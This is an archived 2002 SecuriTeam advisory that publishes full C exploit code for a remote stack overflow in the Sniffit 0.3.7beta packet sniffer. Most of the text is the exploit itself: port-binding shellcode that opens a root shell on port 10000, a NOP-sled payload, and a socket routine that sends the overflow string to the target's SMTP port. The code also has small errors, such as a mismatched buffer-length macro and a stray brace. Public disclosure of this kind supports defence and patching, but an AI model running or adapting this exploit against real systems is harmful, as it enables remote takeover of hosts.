

[EXPL] Sniffit Exploit Code Released (normmail)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-01/0107.html>

From: support@securiteam.com

Date: 01/22/02

From: support@securiteam.com

To: list@securiteam.com

Date: Tue, 22 Jan 2002 17:53:53 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

Sniffit Exploit Code Released (normmail)

SUMMARY

A security vulnerability in Sniffit, a network packet sniffer, is triggered when the option `-L` is called with 'normmail' (i.e. `./sniffit -c /sample_config_file -L normmail`), the vulnerability allows execution of arbitrary code.

DETAILS

Vulnerable systems:

Sniffit version 0.3.7beta

Exploit:

/*

Remote overflow in sniffit.0.3.7.beta

tested on slackware 7.1

found/coded by g463

-18th january 2002-

The vulnerability is triggered when the option `-L` is called from the command line with 'normmail'

ie : `./sniffit -c /sample_config_file -L normmail`

It calls a piece of code where the buffer is unchecked

Securiteam: [EXPL] Sniffit Exploit Code Released (normmail)

```
//From sniffit.0.3.7.beta/sn_logfile.c
void print_mail (char *conn, char *msg)
{
char line[250];
sprintf(line,"%s: mail [%s]",conn,msg);
print_logline (line);
}
```

– In a normal situation, it could be easier to fill line[250] with our shellcode, but since this buffer gets filter with some kind of strlower() function (thus our shellcode/return adress too), i rely on an unfiltered buffer with the same data so we can point eip back at that place with clean, unmodified shellcode :D

All my brothers (alphabetical order) : Erebus, Jinx, mtadbf, nitr0gen, Slink[e]
+ some others i forget :p

*/

```
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <error.h>
#include <string.h>
```

```
#define SMTP_PORT 25
#define MAX_LINE 256
#define BUFLLEN 252
```

```
//define this to your ip
#define MY_IP "192.168.0.1"
```

```
//Value for overwriting eip
//should be the adress of the data buffer + some couple of garbage bytes
#define RETADR 0x08059408
```

```
//Port binding shellcode, binds on port 10000
//taken from bighawk@warfare.com
```

```
char shellcode[] =
"\x31\xc0" // xor eax, eax
"\x31\xdb" // xor ebx, ebx
"\x89\xe5" // mov ebp, esp
"\x99" // cdq
"\xb0\x66" // mov al, 102
"\x89\x5d\xfc" // mov [ebp-4], ebx
"\x43" // inc ebx
```

Securiteam: [EXPL] Sniffit Exploit Code Released (normmail)

```
"\x89\x5d\xf8" // mov [ebp-8], ebx
"\x43" // inc ebx
"\x89\x5d\xf4" // mov [ebp-12], ebx
"\x4b" // dec ebx
"\x8d\x4d\xf4" // lea ecx, [ebp-12]
"\xcd\x80" // int 80h
"\x89\x45\xf4" // mov [ebp-12], eax
"\x43" // inc ebx
"\x66\x89\x5d\xec" // mov [ebp-20], bx
"\x66\xc7\x45\xee\x27\x10" // mov [ebp-18], word 4135
"\x89\x55\xf0" // mov [ebp-16], edx
"\x8d\x45\xec" // lea eax, [ebp-20]
"\x89\x45\xf8" // mov [ebp-8], eax
"\xc6\x45\xfc\x10" // mov [ebp-4], byte 16
"\xb2\x66" // mov dl, 102
"\x89\xd0" // mov eax, ed
"\x8d\x4d\xf4" // lea ecx, [ebp-12]
"\xcd\x80" // int 80h
"\x89\xd0" // mov eax, edx
"\xb3\x04" // mov bl, 4
"\xcd\x80" // int 80h
"\x43" // inc ebx
"\x89\xd0" // mov eax, edx
"\x99" // cdq
"\x89\x55\xf8" // mov [ebp-8], edx
"\x89\x55\xfc" // mov [ebp-4], edx
"\xcd\x80" // int 80h
"\x31\xc9" // xor ecx, ecx
"\x89\xc3" // mov ebx, eax
"\xb1\x03" // mov cl, 3
"\xb0\x3f" // mov al, 63
"\x49" // dec ecx
"\xcd\x80" // int 80h
"\x41" // inc ecx
"\xe2\xf8" // loop -7
"\x52" // push edx
"\x68\x6e\x2f\x73\x68" // push dword 68732f6eh
"\x68\x2f\x2f\x62\x69" // push dword 69622f2fh
"\x89\xe3" // mov ebx, esp
"\x52" // push edx
"\x53" // push ebx
"\x89\xe1" // mov ecx, esp
"\xb0\x0b" // mov al, 11
"\xcd\x80"; // int 80h
```

```
int usage (char *);
```

```
int calculate_conn_lenght (struct sockaddr_in, struct sockaddr_in);
```

```
int
```

```
main (int argc, char *argv[])
```

```
{
```

Securiteam: [EXPL] Sniffit Exploit Code Released (normmail)

```
struct sockaddr_in stServer, stClient;
char *ptHost;
unsigned long int iHost;
int iSockfd, iLenght, iAlign = 0;
char sBuffer[MAX_LINE];
char sString[300];
int i;

if (argc != 2) usage (argv[0]);

ptHost = argv[1];
if ( (iHost = inet_addr (argv[1])) == INADDR_NONE) {

    printf ("Invalid host or host is 255.255.255.255\n");
    exit (-1);

}

//Fill the server struct
memset (&stServer, 0, sizeof (struct sockaddr_in));
stServer.sin_family = AF_INET;
stServer.sin_port = htons (SMTP_PORT);
stServer.sin_addr.s_addr = iHost;

if ( (iSockfd = socket (AF_INET, SOCK_STREAM, 0)) == -1) {

    printf ("Error opening socket\n");
    exit (-1);

}

// Fill the client struct, mainly used to calculate the right align for
RET addy
memset (&stClient, 0, sizeof (struct sockaddr_in));
stClient.sin_family = AF_INET;
stClient.sin_port = htons (0);
stClient.sin_addr.s_addr = inet_addr (MY_IP);

if ( (bind (iSockfd, (struct sockaddr *) &stClient, sizeof (stClient))
== -1 ) {

    perror ("Cant bind socket");
    exit (-1);

}

iAlign = calculate_conn_lenght (stClient, stServer);
i = BUFLen - iAlign + 4;

if ( (connect (iSockfd, (struct sockaddr *) &stServer, sizeof
(stServer))) != 0) {
```

Securiteam: [EXPL] Sniffit Exploit Code Released (normmail)

```
perror ("Cant connect");
exit (-1);

}
else printf ("Connected to host %s on port %d\n\n", ptHost, SMTP_PORT);

// Recevons la banni?re du serveur smtp
if ( (iLenght = recv (iSockfd, sBuffer, MAX_LINE, 0)) == -1) {

    perror ("Cant get server banner");
    exit (-1);

}
printf ("%s\n", sBuffer);

printf ("Building evil string... >:)\n");

memset (sString, 0x90, sizeof (sString));

memcpy (sString, "mail from:", strlen ("mail from:"));
memcpy(sString + i - strlen (shellcode), shellcode, strlen
(shellcode));

sString[i++] = (RETADR & 0x000000ff);
sString[i++] = (RETADR & 0x0000ff00) >> 8;
sString[i++] = (RETADR & 0x00ff0000) >> 16;
sString[i++] = (RETADR & 0xff000000) >> 24;
sString[i] = '\0';

if ( (send (iSockfd, sString, strlen (sString), 0)) == -1) {

    perror ("cant send message");
    exit (-1);

}

printf ("Evil string sent!\n");
printf ("Try telneting the host on port 10000 for r00t shell!\n");

close (iSockfd);

return (0);

}

int usage (char *programe)
{

    printf ("%s <ip>\n", programe);
    exit (-1);
}
```

Securiteam: [EXPL] Sniffit Exploit Code Released (normmail)

```
}  
  
/*  
function to calculate conn entry lenght  
ie : strlen of ("192.168.0.1.1024-192.168.0.69.25");  
(fuckin dirty but heh it works)  
*/  
int calculate_conn_lenght (struct sockaddr_in me, struct sockaddr_in him)  
{  
    int lenght = 0;  
    struct in_addr in;  
  
    in.s_addr = me.sin_addr.s_addr;  
    lenght += strlen (inet_ntoa (in)); // 192.168.0.1  
  
    lenght++; // .  
  
    lenght += 4; // 1220  
  
    lenght ++; // .  
  
    in.s_addr = him.sin_addr.s_addr;  
    lenght += strlen (inet_ntoa (in)); // 192.168.0.69  
  
    lenght++; // .  
  
    lenght += 2; // 25  
  
    lenght += strlen (": mail [");  
  
    return (lenght);  
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:g_463@hotmail.com> g463
g463.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,

Securiteam: [EXPL] Sniffit Exploit Code Released (normmail)

loss of business profits or special damages.

- **Previous message:** support@securiteam.com: "[NT] NewsReactor Encryption Scheme Cracked"
- **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)